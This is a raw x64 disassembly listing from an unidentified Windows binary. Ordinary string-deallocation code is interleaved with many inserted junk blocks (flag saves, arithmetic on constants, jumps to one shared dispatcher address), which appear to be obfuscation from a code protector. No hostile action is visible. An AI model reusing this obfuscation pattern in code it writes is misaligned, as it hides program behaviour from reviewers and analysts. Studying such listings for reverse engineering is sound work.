call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae516
nop
push rax
pushf
mov eax, 0x65e5ea7b
pushf
not eax
add eax, 0xad3b812f
xor eax, 0xdc4bec9a
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x8d7a8d4b
xor eax, 0xbfdfd036
rol eax, 0x91
popf
jmp 0x1400d3f9c
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400d846c
push rax
pushf
mov eax, 0xa5ec1a95
pushf
not eax
add eax, 0xc569d242
xor eax, 0x9916b8bf
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xd4809a2a
xor eax, 0xad7d1958
rol eax, 0x85
popf
pushf
not eax
add eax, 0xe0ba80f1
xor eax, 0xb41e9b24
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xf026f31f
xor eax, 0xa39131d8
rol eax, 0xb
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x67a8dab
pushf
not eax
add eax, 0xa6b27726
xor eax, 0xeb4d2a9e
rol eax, 0x95
popf
pushf
not eax
add eax, 0xc64ccab6
xor eax, 0xabcbbd39
rol eax, 0x87
popf
pushf
not eax
add eax, 0xe9855c55
xor eax, 0xe512285b
rol eax, 0x9e
popf
jmp 0x1400d3f9c
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d851e
push rax
pushf
mov eax, 0xdd5c925
pushf
not eax
add eax, 0xe4bd3e91
xor eax, 0xdd224ca7
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xc1c05894
xor eax, 0xc9a074bb
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xe7d6fb69
xor eax, 0xc2a7bf5e
rol eax, 0x64
popf
pushf
not eax
add eax, 0xc44e818a
xor eax, 0xea4de1f5
rol eax, 0xa7
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x2583061f
pushf
not eax
add eax, 0xbce441c9
xor eax, 0xec830e78
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa02f8313
xor eax, 0xcaf1b674
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xfe16e7bb
xor eax, 0xc242631d
rol eax, 0x68
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d85ac
push rax
pushf
mov eax, 0xcd5f7ef
pushf
not eax
add eax, 0xcd48d6a4
xor eax, 0xa1c6fd69
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xa67539e4
xor eax, 0xd0599ba6
rol eax, 0xf8
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xda565958
pushf
not eax
add eax, 0xe94b9594
xor eax, 0xe6013cca
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x9b48ad11
xor eax, 0xa460ab2d
rol eax, 0xa8
popf
jmp 0x1400d3f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae516
push rax
pushf
mov eax, 0x8fcc4c5
pushf
not eax
add eax, 0xfd2fd82a
xor eax, 0xd2bc1e75
rol eax, 0
popf
pushf
not eax
add eax, 0xe8462b73
xor eax, 0x80c0af59
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xf366a78e
xor eax, 0xc8a1c688
rol eax, 7
popf
jmp 0x1400d3f9c
movdqa xmm0, xmmword [0x1400366d0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400d86d9
push rax
pushf
mov eax, 0x1ab5bd3c
pushf
not eax
add eax, 0xdf0ec026
xor eax, 0xb4ebee04
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xc475a2a8
xor eax, 0x95a6c8e4
rol eax, 0x3d
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x91612119
pushf
not eax
add eax, 0xe490f012
xor eax, 0x91d15035
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xfc932eb6
xor eax, 0xe3959330
rol eax, 0xca
popf
jmp 0x1400d3f9c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d8778
push rax
pushf
mov eax, 0xe690e977
pushf
not eax
add eax, 0xf7643a26
xor eax, 0xd8341328
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xecf02e32
xor eax, 0xf789eb97
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xe6111e3e
xor eax, 0x902dc429
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x8bb5f2b6
xor eax, 0xb6ae86e1
rol eax, 0x61
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xb62169a2
pushf
not eax
add eax, 0xc65ea50f
xor eax, 0xf790a436
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xa8608b73
xor eax, 0xf5b13034
rol eax, 0x6c
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d87f3
push rax
pushf
mov eax, 0x49094c5a
pushf
not eax
add eax, 0xccf69f19
xor eax, 0x97d5d4f4
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xaf970607
xor eax, 0xa50bc2e1
rol eax, 0x50
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x7c286701
pushf
not eax
add eax, 0xada94b08
xor eax, 0x82687df8
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x945e4560
xor eax, 0xb68af7a2
rol eax, 0x75
popf
pushf
not eax
add eax, 0xe5ed5c57
xor eax, 0xcffd426e
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xd64471b4
xor eax, 0xc5be22dc
rol eax, 0xda
popf
jmp 0x1400d3f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae516
push rax
pushf
mov eax, 0x99840eb9
pushf
not eax
add eax, 0xd1ffcb64
xor eax, 0xbdaed1ca
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xd13c6c2b
xor eax, 0xe685a728
rol eax, 0xfa
popf
jmp 0x1400d3f9c
xor edi, edi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x1400d8921
push rax
pushf
mov eax, 0x2d728879
pushf
not eax
add eax, 0xe869d048
xor eax, 0x93126c31
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd5b26072
xor eax, 0xd1c87b46
rol eax, 0x4c
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xb03ed2
pushf
not eax
add eax, 0xf1b50929
xor eax, 0xde0252b5
rol eax, 8
popf
pushf
not eax
add eax, 0xfdfac003
xor eax, 0xf761e0d3
rol eax, 0xf9
popf
jmp 0x1400d3f9c
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x1400d89bd
push rax
pushf
mov eax, 0xee461ffb
pushf
not eax
add eax, 0xa921fb8e
xor eax, 0xdccbe8fa
rol eax, 0x92
popf
pushf
not eax
add eax, 0xe530d62f
xor eax, 0xdfd28111
rol eax, 0x34
popf
pushf
not eax
add eax, 0xb167ee15
xor eax, 0xe6c084cf
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xbf26183f
xor eax, 0xbc1e6c52
rol eax, 0xa8
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xf79ce6c3
pushf
not eax
add eax, 0xda9bf34b
xor eax, 0xa61da8b7
rol eax, 0x72
popf
pushf
not eax
add eax, 0xbb0e4c7e
xor eax, 0xbb487d0e
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe596e327
xor eax, 0xb5aa2dfc
rol eax, 0x38
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400d8a4b
push rax
pushf
mov eax, 0x6966325a
pushf
not eax
add eax, 0xb5aa22c8
xor eax, 0x945f322d
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe1ba0d59
xor eax, 0xabb2c148
rol eax, 0x5a
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x43653ca
pushf
not eax
add eax, 0x995a4036
xor eax, 0xbd9b2321
rol eax, 0x36
popf
pushf
not eax
add eax, 0x9dbf4109
xor eax, 0xa99b6876
rol eax, 0xde
popf
pushf
not eax
add eax, 0xa34822d4
xor eax, 0xcaa0042b
rol eax, 0x71
popf
jmp 0x1400d3f9c
mov rcx, r8
push rax
pushf
mov eax, 0x3ae0f7d
pushf
not eax
add eax, 0x96f2248c
xor eax, 0xd88a657f
rol eax, 0x75
popf
pushf
not eax
add eax, 0xd007939c
xor eax, 0xf16954a2
rol eax, 0xac
popf
pushf
not eax
add eax, 0xd34ac59d
xor eax, 0x8f3b95e4
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xb44bab19
xor eax, 0xd56e36c6
rol eax, 0x88
popf
jmp 0x1400d3f9c
call fcn.1400ae516
push rax
pushf
mov eax, 0xec491de2
pushf
not eax
add eax, 0x85c4be45
xor eax, 0xd26fd379
rol eax, 0x94
popf
pushf
not eax
add eax, 0xac2ac681
xor eax, 0x8c06976c
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xbf02a54f
xor eax, 0xe400c72b
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xa957d406
xor eax, 0x8d4709fc
rol eax, 0x8f
popf
jmp 0x1400d3f9c
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rax, rbx
add rsp, 0xc0f8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0xc517566
pushf
not eax
add eax, 0xd1488051
xor eax, 0xa4db0153
rol eax, 0x32
popf
pushf
not eax
add eax, 0xee919260
xor eax, 0xbfac160f
rol eax, 0x1c
popf
jmp 0x1400d3f9c
call fcn.1400ff55a
nop
push rax
pushf
mov eax, 0x319ab07a
pushf
not eax
add eax, 0xa91bcbae
xor eax, 0xbeb2e746
rol eax, 0x38
popf
pushf
not eax
add eax, 0xbd2b5a0d
xor eax, 0xc762262d
rol eax, 0xa1
popf
jmp 0x1400d3f9c
call fcn.140072659
nop
push rax
pushf
mov eax, 0x290bb18f
pushf
not eax
add eax, 0x93126383
xor eax, 0xeef5621f
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xd9f4925d
xor eax, 0xca245e9d
rol eax, 0x95
popf
pushf
not eax
add eax, 0xaf3300db
xor eax, 0x9a14dd2c
rol eax, 0x5b
popf
jmp 0x1400d3f9c
call fcn.1401678cf
int3